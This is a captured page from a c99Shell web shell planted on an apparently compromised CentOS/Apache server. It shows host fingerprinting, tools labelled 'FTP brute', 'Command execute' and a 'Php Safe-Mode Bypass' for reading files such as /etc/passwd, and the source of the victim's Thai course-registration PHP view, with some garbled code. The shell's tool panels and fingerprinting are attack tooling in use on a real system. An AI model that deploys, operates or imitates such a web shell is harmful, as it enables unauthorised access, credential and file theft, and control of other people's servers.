!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_programCoursesTable.php (2.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*if($method=="add"){
    $conn->BeginTrans();
    for($i=0; $i<$cnt; $i++){
        //        echo "CoId -> ".$courseId[$i]."<br>";
        if($courseId[$i]) {
            $oSp->AddNew();
            $oSp->programId=$programId;
            $oSp->studentYear=$studentYear;
            $oSp->semester=$semester;
            $oSp->courseId=$courseId[$i];
            $oSp->conditionId=$conditionId1;
            $oSp->conditionId2=$conditionId2[$i];
            $oSp->Save();
        }
    }
    $conn->CommitTrans();
?>
<script language="javascript1.2">
window.opener.location.href="index.php?programId=<?php echo $programId;?>&studentYear=<?php echo $studentYear;?>&semester=<?php echo $semester;?>";
window.close();
</script>
<?php
}*/
if(!$spCdId1) {
?>
<script>
self.window.opener.location.reload();//href = "<?site_url($this->config->item("rg_folder")."curriculum2/")?>";
window.close();
</script>
<?php
}
?>
<!--<title>ตารางรายวิชาในหลักสูตร</title>-->
<?php echo form_open($this->config->item("rg_folder")."curpbri/sp_insert_update");?>
<table class="headCol">
    <tr>
        <th class="seqCol"> ลำดับที่</th>
        <th><b>รายวิชา</th>
        <th class="acYCol">หน่วยกิต</th>
    </tr>
<?php
    
if($rs_pcr->num_rows()>0) {
        
$i 0;
        foreach(
$rs_pcr->result() as $row) {
?>
    <tr>
        <td align="center"><input type="checkbox" name="spCrsId[]" value="<?php echo $row->pcrCrsId;?>">
        <input type="hidden" name="spCdId2[]" id="spCdId2[]" value="<?php echo (set_value('spCdId2')=="") ? $row->pcrCsCdId2 set_value('spCdId2');?>" /></td>
        <td class="indent"><?php echo $row->crsCode." ".explodeSquare($row->crsName);?></td>
        <td align="center"><?php echo $row->crsUnit;?></td>
    </tr>
<?php
            $i
++;
        }
    }
    else {
?>
    <tr>
        <td colspan="3" align="center"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
    </tr>
<?php
    
}
?>
    <tr bgcolor="<?php echo $tr_color_even;?>">
        <td colspan="2"><input type="button" name="selectAll" value="เลือกทั้งหมด" onClick="doCheckAll(this.form, true);" />
        <input type="button" name="cancelAll" value="ยกเลิกทั้งหมด" onClick="doCheckAll(this.form, false);" />
        <input type="hidden" name="spCurId" id="spCurId" value="<?php echo (set_value('spCurId')=="") ? $spCurId set_value('spCurId');?>" />
        <input type="hidden" name="spSyId" id="spSyId" value="<?php echo (set_value('spSyId')=="") ? $spSyId set_value('spSyId');?>" />
        <input type="hidden" name="spTmId" id="spTmId" value="<?php echo (set_value('spTmId')=="") ? $spTmId set_value('spTmId');?>" />
        <input type="hidden" name="spCdId1" id="spCdId1" value="<?php echo (set_value('spCdId1')=="") ? $spCdId1 set_value('spCdId1');?>" /></td>
        <td align="right"><font size="2">รวม <?php echo $rs_pcr->num_rows();?> รายการ</font></td>
    </tr>
    <tr>
        <td colspan="3" align="center"><input type="submit" name="add" value="บันทึก" /></td>
    </tr>
</table>
<?php echo form_close();?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0176 ]--